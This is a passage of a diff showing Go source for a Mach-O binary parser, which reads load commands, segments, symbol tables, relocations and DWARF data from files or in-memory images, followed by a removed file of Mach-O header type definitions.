msg += fmt.Sprintf(" '%v'", e.val)
|
||||
}
|
||||
msg += fmt.Sprintf(" in record at byte %#x", e.off)
|
||||
return msg
|
||||
}
|
||||
|
||||
// Open opens the named file using os.Open and prepares it for use as a Mach-O binary.
|
||||
func Open(name string) (*File, error) {
|
||||
f, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ff, err := NewFile(f)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return nil, err
|
||||
}
|
||||
ff.closer = f
|
||||
return ff, nil
|
||||
}
|
||||
|
||||
// Close closes the File.
|
||||
// If the File was created using NewFile directly instead of Open,
|
||||
// Close has no effect.
|
||||
func (f *File) Close() error {
|
||||
var err error
|
||||
if f.closer != nil {
|
||||
err = f.closer.Close()
|
||||
f.closer = nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
// NewFile creates a new macho.File for accessing a Mach-o binary file in an underlying reader.
|
||||
func NewFile(r io.ReaderAt) (*File, error) {
|
||||
return newFileInternal(r, false)
|
||||
}
|
||||
|
||||
// NewFileFromMemory creates a new macho.File for accessing a Mach-O binary in-memory image in an underlying reader.
|
||||
func NewFileFromMemory(r io.ReaderAt) (*File, error) {
|
||||
return newFileInternal(r, true)
|
||||
}
|
||||
|
||||
// NewFile creates a new File for accessing a PE binary in an underlying reader.
|
||||
func newFileInternal(r io.ReaderAt, memoryMode bool) (*File, error) {
|
||||
|
||||
f := new(File)
|
||||
sr := io.NewSectionReader(r, 0, 1<<63-1)
|
||||
|
||||
// Read and decode Mach magic to determine byte order, size.
|
||||
// Magic32 and Magic64 differ only in the bottom bit.
|
||||
var ident [4]byte
|
||||
if _, err := r.ReadAt(ident[0:], 0); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
be := binary.BigEndian.Uint32(ident[0:])
|
||||
le := binary.LittleEndian.Uint32(ident[0:])
|
||||
switch Magic32 &^ 1 {
|
||||
case be &^ 1:
|
||||
f.ByteOrder = binary.BigEndian
|
||||
f.Magic = be
|
||||
case le &^ 1:
|
||||
f.ByteOrder = binary.LittleEndian
|
||||
f.Magic = le
|
||||
default:
|
||||
return nil, &FormatError{0, "invalid magic number", nil}
|
||||
}
|
||||
|
||||
// Read entire file header.
|
||||
if err := binary.Read(sr, f.ByteOrder, &f.FileHeader); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Then load commands.
|
||||
offset := int64(fileHeaderSize32)
|
||||
if f.Magic == Magic64 {
|
||||
offset = fileHeaderSize64
|
||||
}
|
||||
dat := make([]byte, f.Cmdsz)
|
||||
if _, err := r.ReadAt(dat, offset); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Loads = make([]Load, f.Ncmd)
|
||||
bo := f.ByteOrder
|
||||
for i := range f.Loads {
|
||||
// Each load command begins with uint32 command and length.
|
||||
if len(dat) < 8 {
|
||||
return nil, &FormatError{offset, "command block too small", nil}
|
||||
}
|
||||
cmd, siz := LoadCmd(bo.Uint32(dat[0:4])), bo.Uint32(dat[4:8])
|
||||
if siz < 8 || siz > uint32(len(dat)) {
|
||||
return nil, &FormatError{offset, "invalid command block size", nil}
|
||||
}
|
||||
var cmddat []byte
|
||||
cmddat, dat = dat[0:siz], dat[siz:]
|
||||
offset += int64(siz)
|
||||
var s *Segment
|
||||
//fmt.Printf("LoadCmdVal: %+v\n", cmd)
|
||||
switch cmd {
|
||||
default:
|
||||
f.Loads[i] = LoadBytes(cmddat)
|
||||
|
||||
case LoadCmdRpath:
|
||||
var hdr RpathCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
l := new(Rpath)
|
||||
if hdr.Path >= uint32(len(cmddat)) {
|
||||
return nil, &FormatError{offset, "invalid path in rpath command", hdr.Path}
|
||||
}
|
||||
l.Path = cstring(cmddat[hdr.Path:])
|
||||
l.LoadBytes = LoadBytes(cmddat)
|
||||
f.Loads[i] = l
|
||||
|
||||
case LoadCmdDylinker:
|
||||
var hdr DylinkerCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
l := new(Dylinker)
|
||||
if hdr.Name >= uint32(len(cmddat)) {
|
||||
return nil, &FormatError{offset, "invalid name in dynamic library command", hdr.Name}
|
||||
}
|
||||
l.Name = cstring(cmddat[hdr.Name:])
|
||||
l.LoadBytes = LoadBytes(cmddat)
|
||||
f.Loads[i] = l
|
||||
|
||||
case LoadCmdDylib:
|
||||
var hdr DylibCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
l := new(Dylib)
|
||||
if hdr.Name >= uint32(len(cmddat)) {
|
||||
return nil, &FormatError{offset, "invalid name in dynamic library command", hdr.Name}
|
||||
}
|
||||
l.Name = cstring(cmddat[hdr.Name:])
|
||||
l.Time = hdr.Time
|
||||
l.CurrentVersion = hdr.CurrentVersion
|
||||
l.CompatVersion = hdr.CompatVersion
|
||||
l.LoadBytes = LoadBytes(cmddat)
|
||||
f.Loads[i] = l
|
||||
|
||||
case LoadCmdSymtab:
|
||||
var hdr SymtabCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
strtab := make([]byte, hdr.Strsize)
|
||||
|
||||
var linkeditAddr, textAddr, linkeditOffset int64
|
||||
if !memoryMode {
|
||||
if _, err := r.ReadAt(strtab, int64(hdr.Stroff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
// in memory, we have to translate the file offsets for strtab/symtab into offsets into LINKEDIT segment
|
||||
for _, load := range f.Loads {
|
||||
switch segment := load.(type) {
|
||||
case *Segment:
|
||||
if segment == nil {
|
||||
continue
|
||||
}
|
||||
if segment.Name == "__LINKEDIT" {
|
||||
linkeditAddr = int64(segment.Addr)
|
||||
linkeditOffset = int64(segment.Offset)
|
||||
} else if segment.Name == "__TEXT" {
|
||||
textAddr = int64(segment.Addr)
|
||||
}
|
||||
}
|
||||
}
|
||||
strtabAddr := (linkeditAddr - textAddr) + (int64(hdr.Stroff) - linkeditOffset)
|
||||
if _, err := r.ReadAt(strtab, strtabAddr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
var symsz int
|
||||
if f.Magic == Magic64 {
|
||||
symsz = 16
|
||||
} else {
|
||||
symsz = 12
|
||||
}
|
||||
symdat := make([]byte, int(hdr.Nsyms)*symsz)
|
||||
|
||||
if !memoryMode {
|
||||
if _, err := r.ReadAt(symdat, int64(hdr.Symoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
if _, err := r.ReadAt(symdat, (linkeditAddr-textAddr)+(int64(hdr.Symoff)-linkeditOffset)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
st, err := f.parseSymtab(symdat, strtab, cmddat, &hdr, offset)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Loads[i] = st
|
||||
f.Symtab = st
|
||||
f.Symtab.Symoff = hdr.Symoff
|
||||
f.Symtab.Stroff = hdr.Stroff
|
||||
|
||||
case LoadCmdSignature:
|
||||
var sigCmd SigBlockCmd
|
||||
s := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(s, bo, &sigCmd); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//fmt.Printf("SigData: %+v\n", sigCmd)
|
||||
sig := make([]byte, sigCmd.Sigsize)
|
||||
if _, err := r.ReadAt(sig, int64(sigCmd.Sigoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var block SigBlock
|
||||
block.Offset = uint64(sigCmd.Sigoff)
|
||||
block.Len = sigCmd.Sigsize
|
||||
block.RawDat = sig
|
||||
f.SigBlock = &block
|
||||
f.Loads[i] = LoadBytes(cmddat)
|
||||
|
||||
case LoadCmdFuncStarts:
|
||||
var funcCmd FuncStartsCmd
|
||||
fsc := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(fsc, bo, &funcCmd); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//fmt.Printf("FuncStartsData: %+v\n", funcCmd)
|
||||
fs := make([]byte, funcCmd.Datasize)
|
||||
if _, err := r.ReadAt(fs, int64(funcCmd.Dataoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var funcs FuncStarts
|
||||
funcs.Offset = uint64(funcCmd.Dataoff)
|
||||
funcs.Len = funcCmd.Datasize
|
||||
funcs.RawDat = fs
|
||||
f.FuncStarts = &funcs
|
||||
f.Loads[i] = LoadBytes(cmddat)
|
||||
|
||||
case LoadCmdDataInCode:
|
||||
var dataCmd DataInCodeCmd
|
||||
dcc := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(dcc, bo, &dataCmd); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//fmt.Printf("DataInCode: %+v\n", dataCmd)
|
||||
dc := make([]byte, dataCmd.Datasize)
|
||||
if _, err := r.ReadAt(dc, int64(dataCmd.Dataoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var datacode DataInCode
|
||||
datacode.Offset = uint64(dataCmd.Dataoff)
|
||||
datacode.Len = dataCmd.Datasize
|
||||
datacode.RawDat = dc
|
||||
f.DataInCode = &datacode
|
||||
f.Loads[i] = LoadBytes(cmddat)
|
||||
|
||||
case LoadCmdDylinkInfo:
|
||||
var dylinkInfoCmd DylinkInfoCmd
|
||||
dic := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(dic, bo, &dylinkInfoCmd); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//fmt.Printf("LoadCmdDylinkInfo: %+v\n", dylinkInfoCmd)
|
||||
// Copy each section next
|
||||
var dylinkInfo DylinkInfo
|
||||
// Rebase deets
|
||||
if dylinkInfoCmd.Rebasesize > 0 {
|
||||
if !memoryMode { // this data is in LINKEDIT already
|
||||
rebase := make([]byte, dylinkInfoCmd.Rebasesize)
|
||||
if _, err := r.ReadAt(rebase, int64(dylinkInfoCmd.Rebaseoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dylinkInfo.RebaseDat = rebase
|
||||
}
|
||||
dylinkInfo.RebaseLen = dylinkInfoCmd.Rebasesize
|
||||
dylinkInfo.RebaseOffset = uint64(dylinkInfoCmd.Rebaseoff)
|
||||
}
|
||||
// BindingInfo deets
|
||||
if dylinkInfoCmd.Bindinginfosize > 0 {
|
||||
if !memoryMode { // this data is in LINKEDIT already
|
||||
binding := make([]byte, dylinkInfoCmd.Bindinginfosize)
|
||||
if _, err := r.ReadAt(binding, int64(dylinkInfoCmd.Bindinginfooff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dylinkInfo.BindingInfoDat = binding
|
||||
}
|
||||
dylinkInfo.BindingInfoLen = dylinkInfoCmd.Bindinginfosize
|
||||
dylinkInfo.BindingInfoOffset = uint64(dylinkInfoCmd.Bindinginfooff)
|
||||
}
|
||||
// Weak deets
|
||||
if dylinkInfoCmd.Weakbindingsize > 0 {
|
||||
if !memoryMode { // this data is in LINKEDIT already
|
||||
weak := make([]byte, dylinkInfoCmd.Weakbindingsize)
|
||||
if _, err := r.ReadAt(weak, int64(dylinkInfoCmd.Weakbindingoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dylinkInfo.WeakBindingDat = weak
|
||||
}
|
||||
dylinkInfo.WeakBindingLen = dylinkInfoCmd.Weakbindingsize
|
||||
dylinkInfo.WeakBindingOffset = uint64(dylinkInfoCmd.Weakbindingoff)
|
||||
}
|
||||
// Lazy deets
|
||||
if dylinkInfoCmd.Lazybindingsize > 0 {
|
||||
if !memoryMode { // this data is in LINKEDIT already
|
||||
lazy := make([]byte, dylinkInfoCmd.Lazybindingsize)
|
||||
if _, err := r.ReadAt(lazy, int64(dylinkInfoCmd.Lazybindingoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dylinkInfo.LazyBindingDat = lazy
|
||||
}
|
||||
dylinkInfo.LazyBindingLen = dylinkInfoCmd.Lazybindingsize
|
||||
dylinkInfo.LazyBindingOffset = uint64(dylinkInfoCmd.Lazybindingoff)
|
||||
}
|
||||
// ExportInfo deets
|
||||
if dylinkInfoCmd.Exportinfosize > 0 {
|
||||
if !memoryMode { // this data is in LINKEDIT already
|
||||
export := make([]byte, dylinkInfoCmd.Exportinfosize)
|
||||
if _, err := r.ReadAt(export, int64(dylinkInfoCmd.Exportinfooff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dylinkInfo.ExportInfoDat = export
|
||||
}
|
||||
dylinkInfo.ExportInfoLen = dylinkInfoCmd.Exportinfosize
|
||||
dylinkInfo.ExportInfoOffset = uint64(dylinkInfoCmd.Exportinfooff)
|
||||
}
|
||||
// Finalize the object
|
||||
f.DylinkInfo = &dylinkInfo
|
||||
f.Loads[i] = LoadBytes(cmddat)
|
||||
|
||||
case LoadCmdDysymtab:
|
||||
var hdr DysymtabCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dat := make([]byte, hdr.Nindirectsyms*4)
|
||||
if _, err := r.ReadAt(dat, int64(hdr.Indirectsymoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
x := make([]uint32, hdr.Nindirectsyms)
|
||||
if err := binary.Read(bytes.NewReader(dat), bo, x); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
st := new(Dysymtab)
|
||||
st.LoadBytes = LoadBytes(cmddat)
|
||||
st.DysymtabCmd = hdr
|
||||
st.IndirectSyms = x
|
||||
f.Loads[i] = st
|
||||
f.Dysymtab = st
|
||||
f.Dysymtab.Indirectsymoff = hdr.Indirectsymoff
|
||||
f.Dysymtab.RawDysymtab = dat
|
||||
|
||||
case LoadCmdSegment:
|
||||
var seg32 Segment32
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &seg32); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s = new(Segment)
|
||||
s.LoadBytes = cmddat
|
||||
s.Cmd = cmd
|
||||
s.Len = siz
|
||||
s.Name = cstring(seg32.Name[0:])
|
||||
s.Addr = uint64(seg32.Addr)
|
||||
s.Memsz = uint64(seg32.Memsz)
|
||||
s.Offset = uint64(seg32.Offset)
|
||||
s.Filesz = uint64(seg32.Filesz)
|
||||
s.Maxprot = seg32.Maxprot
|
||||
s.Prot = seg32.Prot
|
||||
s.Nsect = seg32.Nsect
|
||||
s.Flag = seg32.Flag
|
||||
if uint64((seg32.Offset + seg32.Filesz)) > FinalSegEnd {
|
||||
FinalSegEnd = uint64((seg32.Offset + seg32.Filesz))
|
||||
}
|
||||
f.Loads[i] = s
|
||||
for i := 0; i < int(s.Nsect); i++ {
|
||||
var sh32 Section32
|
||||
if err := binary.Read(b, bo, &sh32); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
sh := new(Section)
|
||||
sh.Name = cstring(sh32.Name[0:])
|
||||
sh.Seg = cstring(sh32.Seg[0:])
|
||||
sh.Addr = uint64(sh32.Addr)
|
||||
sh.Size = uint64(sh32.Size)
|
||||
sh.Offset = sh32.Offset
|
||||
sh.Align = sh32.Align
|
||||
sh.Reloff = sh32.Reloff
|
||||
sh.Nreloc = sh32.Nreloc
|
||||
sh.Flags = sh32.Flags
|
||||
if err := f.pushSection(sh, r); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
case LoadCmdSegment64:
|
||||
var seg64 Segment64
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &seg64); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s = new(Segment)
|
||||
s.LoadBytes = cmddat
|
||||
s.Cmd = cmd
|
||||
s.Len = siz
|
||||
s.Name = cstring(seg64.Name[0:])
|
||||
s.Addr = seg64.Addr
|
||||
s.Memsz = seg64.Memsz
|
||||
s.Offset = seg64.Offset
|
||||
s.Filesz = seg64.Filesz
|
||||
s.Maxprot = seg64.Maxprot
|
||||
s.Prot = seg64.Prot
|
||||
s.Nsect = seg64.Nsect
|
||||
s.Flag = seg64.Flag
|
||||
if uint64((seg64.Offset + seg64.Filesz)) > FinalSegEnd {
|
||||
FinalSegEnd = uint64((seg64.Offset + seg64.Filesz))
|
||||
}
|
||||
f.Loads[i] = s
|
||||
for i := 0; i < int(s.Nsect); i++ {
|
||||
var sh64 Section64
|
||||
if err := binary.Read(b, bo, &sh64); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
sh := new(Section)
|
||||
sh.Name = cstring(sh64.Name[0:])
|
||||
sh.Seg = cstring(sh64.Seg[0:])
|
||||
sh.Addr = sh64.Addr
|
||||
sh.Size = sh64.Size
|
||||
sh.Offset = sh64.Offset
|
||||
sh.Align = sh64.Align
|
||||
sh.Reloff = sh64.Reloff
|
||||
sh.Nreloc = sh64.Nreloc
|
||||
sh.Flags = sh64.Flags
|
||||
if err := f.pushSection(sh, r); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
//case LoadCmdUnixThread:
|
||||
// todo: do we have to support thread_command here for older binaries? or is the LC_MAIN handling backwards compatible?
|
||||
|
||||
case LoadCmdMain:
|
||||
var entryPoint EntryPointCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &entryPoint); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.EntryPoint = entryPoint.EntryOff
|
||||
}
|
||||
if s != nil {
|
||||
if !memoryMode {
|
||||
s.sr = io.NewSectionReader(r, int64(s.Offset), int64(s.Filesz))
|
||||
} else {
|
||||
s.sr = io.NewSectionReader(r, int64(s.Addr), int64(s.Filesz))
|
||||
}
|
||||
s.ReaderAt = s.sr
|
||||
}
|
||||
}
|
||||
return f, nil
|
||||
}
|
||||
|
||||
func (f *File) parseSymtab(symdat, strtab, cmddat []byte, hdr *SymtabCmd, offset int64) (*Symtab, error) {
|
||||
bo := f.ByteOrder
|
||||
symtab := make([]Symbol, hdr.Nsyms)
|
||||
b := bytes.NewReader(symdat)
|
||||
for i := range symtab {
|
||||
var n Nlist64
|
||||
if f.Magic == Magic64 {
|
||||
if err := binary.Read(b, bo, &n); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
var n32 Nlist32
|
||||
if err := binary.Read(b, bo, &n32); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
n.Name = n32.Name
|
||||
n.Type = n32.Type
|
||||
n.Sect = n32.Sect
|
||||
n.Desc = n32.Desc
|
||||
n.Value = uint64(n32.Value)
|
||||
}
|
||||
sym := &symtab[i]
|
||||
if n.Name >= uint32(len(strtab)) {
|
||||
return nil, &FormatError{offset, "invalid name in symbol table", n.Name}
|
||||
}
|
||||
sym.Name = cstring(strtab[n.Name:])
|
||||
sym.Type = n.Type
|
||||
sym.Sect = n.Sect
|
||||
sym.Desc = n.Desc
|
||||
sym.Value = n.Value
|
||||
}
|
||||
st := new(Symtab)
|
||||
st.LoadBytes = LoadBytes(cmddat)
|
||||
st.Syms = symtab
|
||||
st.RawSymtab = symdat
|
||||
st.RawStringtab = strtab
|
||||
return st, nil
|
||||
}
|
||||
|
||||
type relocInfo struct {
|
||||
Addr uint32
|
||||
Symnum uint32
|
||||
}
|
||||
|
||||
func (f *File) pushSection(sh *Section, r io.ReaderAt) error {
|
||||
f.Sections = append(f.Sections, sh)
|
||||
sh.sr = io.NewSectionReader(r, int64(sh.Offset), int64(sh.Size))
|
||||
sh.ReaderAt = sh.sr
|
||||
|
||||
if sh.Nreloc > 0 {
|
||||
reldat := make([]byte, int(sh.Nreloc)*8)
|
||||
if _, err := r.ReadAt(reldat, int64(sh.Reloff)); err != nil {
|
||||
return err
|
||||
}
|
||||
b := bytes.NewReader(reldat)
|
||||
|
||||
bo := f.ByteOrder
|
||||
|
||||
sh.Relocs = make([]Reloc, sh.Nreloc)
|
||||
for i := range sh.Relocs {
|
||||
rel := &sh.Relocs[i]
|
||||
|
||||
var ri relocInfo
|
||||
if err := binary.Read(b, bo, &ri); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if ri.Addr&(1<<31) != 0 { // scattered
|
||||
rel.Addr = ri.Addr & (1<<24 - 1)
|
||||
rel.Type = uint8((ri.Addr >> 24) & (1<<4 - 1))
|
||||
rel.Len = uint8((ri.Addr >> 28) & (1<<2 - 1))
|
||||
rel.Pcrel = ri.Addr&(1<<30) != 0
|
||||
rel.Value = ri.Symnum
|
||||
rel.Scattered = true
|
||||
} else {
|
||||
switch bo {
|
||||
case binary.LittleEndian:
|
||||
rel.Addr = ri.Addr
|
||||
rel.Value = ri.Symnum & (1<<24 - 1)
|
||||
rel.Pcrel = ri.Symnum&(1<<24) != 0
|
||||
rel.Len = uint8((ri.Symnum >> 25) & (1<<2 - 1))
|
||||
rel.Extern = ri.Symnum&(1<<27) != 0
|
||||
rel.Type = uint8((ri.Symnum >> 28) & (1<<4 - 1))
|
||||
case binary.BigEndian:
|
||||
rel.Addr = ri.Addr
|
||||
rel.Value = ri.Symnum >> 8
|
||||
rel.Pcrel = ri.Symnum&(1<<7) != 0
|
||||
rel.Len = uint8((ri.Symnum >> 5) & (1<<2 - 1))
|
||||
rel.Extern = ri.Symnum&(1<<4) != 0
|
||||
rel.Type = uint8(ri.Symnum & (1<<4 - 1))
|
||||
default:
|
||||
panic("unreachable")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func cstring(b []byte) string {
|
||||
i := bytes.IndexByte(b, 0)
|
||||
if i == -1 {
|
||||
i = len(b)
|
||||
}
|
||||
return string(b[0:i])
|
||||
}
|
||||
|
||||
// Segment returns the first Segment with the given name, or nil if no such segment exists.
|
||||
func (f *File) Segment(name string) *Segment {
|
||||
for _, l := range f.Loads {
|
||||
if s, ok := l.(*Segment); ok && s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Section returns the first section with the given name, or nil if no such
|
||||
// section exists.
|
||||
func (f *File) Section(name string) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DWARF returns the DWARF debug information for the Mach-O file.
|
||||
func (f *File) DWARF() (*dwarf.Data, error) {
|
||||
dwarfSuffix := func(s *Section) string {
|
||||
switch {
|
||||
case strings.HasPrefix(s.Name, "__debug_"):
|
||||
return s.Name[8:]
|
||||
case strings.HasPrefix(s.Name, "__zdebug_"):
|
||||
return s.Name[9:]
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
|
||||
}
|
||||
sectionData := func(s *Section) ([]byte, error) {
|
||||
b, err := s.Data()
|
||||
if err != nil && uint64(len(b)) < s.Size {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(b) >= 12 && string(b[:4]) == "ZLIB" {
|
||||
dlen := binary.BigEndian.Uint64(b[4:12])
|
||||
dbuf := make([]byte, dlen)
|
||||
r, err := zlib.NewReader(bytes.NewBuffer(b[12:]))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, err := io.ReadFull(r, dbuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := r.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b = dbuf
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// There are many other DWARF sections, but these
|
||||
// are the ones the debug/dwarf package uses.
|
||||
// Don't bother loading others.
|
||||
var dat = map[string][]byte{"abbrev": nil, "info": nil, "str": nil, "line": nil, "ranges": nil}
|
||||
for _, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix == "" {
|
||||
continue
|
||||
}
|
||||
if _, ok := dat[suffix]; !ok {
|
||||
continue
|
||||
}
|
||||
b, err := sectionData(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dat[suffix] = b
|
||||
}
|
||||
|
||||
d, err := dwarf.New(dat["abbrev"], nil, nil, dat["info"], dat["line"], nil, dat["ranges"], dat["str"])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Look for DWARF4 .debug_types sections.
|
||||
for i, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix != "types" {
|
||||
continue
|
||||
}
|
||||
|
||||
b, err := sectionData(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = d.AddTypes(fmt.Sprintf("types-%d", i), b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// ImportedSymbols returns the names of all symbols
|
||||
// referred to by the binary f that are expected to be
|
||||
// satisfied by other libraries at dynamic load time.
|
||||
func (f *File) ImportedSymbols() ([]string, error) {
|
||||
if f.Dysymtab == nil || f.Symtab == nil {
|
||||
return nil, &FormatError{0, "missing symbol table", nil}
|
||||
}
|
||||
|
||||
st := f.Symtab
|
||||
dt := f.Dysymtab
|
||||
var all []string
|
||||
for _, s := range st.Syms[dt.Iundefsym : dt.Iundefsym+dt.Nundefsym] {
|
||||
all = append(all, s.Name)
|
||||
}
|
||||
return all, nil
|
||||
}
|
||||
|
||||
// ImportedLibraries returns the paths of all libraries
|
||||
// referred to by the binary f that are expected to be
|
||||
// linked with the binary at dynamic link time.
|
||||
func (f *File) ImportedLibraries() ([]string, error) {
|
||||
var all []string
|
||||
for _, l := range f.Loads {
|
||||
if lib, ok := l.(*Dylib); ok {
|
||||
all = append(all, lib.Name)
|
||||
}
|
||||
}
|
||||
return all, nil
|
||||
}
|
||||
-414
@@ -1,414 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Mach-O header data structures
|
||||
// http://developer.apple.com/mac/library/documentation/DeveloperTools/Conceptual/MachORuntime/Reference/reference.html
|
||||
|
||||
package macho
|
||||
|
||||
import "strconv"
|
||||
|
||||
// A FileHeader represents a Mach-O file header.
|
||||
type FileHeader struct {
|
||||
Magic uint32
|
||||
Cpu Cpu
|
||||
SubCpu uint32
|
||||
Type Type
|
||||
Ncmd uint32
|
||||
Cmdsz uint32
|
||||
Flags uint32
|
||||
}
|
||||
|
||||
const (
|
||||
fileHeaderSize32 = 7 * 4
|
||||
fileHeaderSize64 = 8 * 4
|
||||
)
|
||||
|
||||
const (
|
||||
Magic32 uint32 = 0xfeedface
|
||||
Magic64 uint32 = 0xfeedfacf
|
||||
MagicFat uint32 = 0xcafebabe
|
||||
)
|
||||
|
||||
// A Type is the Mach-O file type, e.g. an object file, executable, or dynamic library.
|
||||
type Type uint32
|
||||
|
||||
const (
|
||||
TypeObj Type = 1
|
||||
TypeExec Type = 2
|
||||
TypeDylib Type = 6
|
||||
TypeBundle Type = 8
|
||||
)
|
||||
|
||||
var typeStrings = []intName{
|
||||
{uint32(TypeObj), "Obj"},
|
||||
{uint32(TypeExec), "Exec"},
|
||||
{uint32(TypeDylib), "Dylib"},
|
||||
{uint32(TypeBundle), "Bundle"},
|
||||
}
|
||||
|
||||
func (t Type) String() string { return stringName(uint32(t), typeStrings, false) }
|
||||
func (t Type) GoString() string { return stringName(uint32(t), typeStrings, true) }
|
||||
|
||||
// A Cpu is a Mach-O cpu type.
|
||||
type Cpu uint32
|
||||
|
||||
const cpuArch64 = 0x01000000
|
||||
|
||||
const (
|
||||
Cpu386 Cpu = 7
|
||||
CpuAmd64 Cpu = Cpu386 | cpuArch64
|
||||
CpuArm Cpu = 12
|
||||
CpuArm64 Cpu = CpuArm | cpuArch64
|
||||
CpuPpc Cpu = 18
|
||||
CpuPpc64 Cpu = CpuPpc | cpuArch64
|
||||
)
|
||||
|
||||
var cpuStrings = []intName{
|
||||
{uint32(Cpu386), "Cpu386"},
|
||||
{uint32(CpuAmd64), "CpuAmd64"},
|
||||
{uint32(CpuArm), "CpuArm"},
|
||||
{uint32(CpuArm64), "CpuArm64"},
|
||||
{uint32(CpuPpc), "CpuPpc"},
|
||||
{uint32(CpuPpc64), "CpuPpc64"},
|
||||
}
|
||||
|
||||
var FinalSegEnd uint64
|
||||
|
||||
func (i Cpu) String() string { return stringName(uint32(i), cpuStrings, false) }
|
||||
func (i Cpu) GoString() string { return stringName(uint32(i), cpuStrings, true) }
|
||||
|
||||
// A LoadCmd is a Mach-O load command.
|
||||
type LoadCmd uint32
|
||||
|
||||
const (
|
||||
LoadCmdSegment LoadCmd = 0x1
|
||||
LoadCmdSymtab LoadCmd = 0x2
|
||||
LoadCmdThread LoadCmd = 0x4
|
||||
LoadCmdUnixThread LoadCmd = 0x5 // thread+stack
|
||||
LoadCmdDysymtab LoadCmd = 0xb
|
||||
LoadCmdDylib LoadCmd = 0xc // load dylib command
|
||||
LoadCmdDylinker LoadCmd = 0xf // id dylinker command (not load dylinker command)
|
||||
LoadCmdSegment64 LoadCmd = 0x19
|
||||
LoadCmdSignature LoadCmd = 0x1d
|
||||
LoadCmdFuncStarts LoadCmd = 0x26 // Function Starts
|
||||
LoadCmdDataInCode LoadCmd = 0x29 // Data In Code
|
||||
|
||||
LoadReqDyld LoadCmd = 0x80000000
|
||||
LoadCmdMain LoadCmd = (0x28 | LoadReqDyld) // replacement for LC_UNIXTHREAD
|
||||
LoadCmdRpath LoadCmd = 0x8000001c
|
||||
LoadCmdDylinkInfo LoadCmd = 0x80000022 // Dynamic Linker Info Only
|
||||
)
|
||||
|
||||
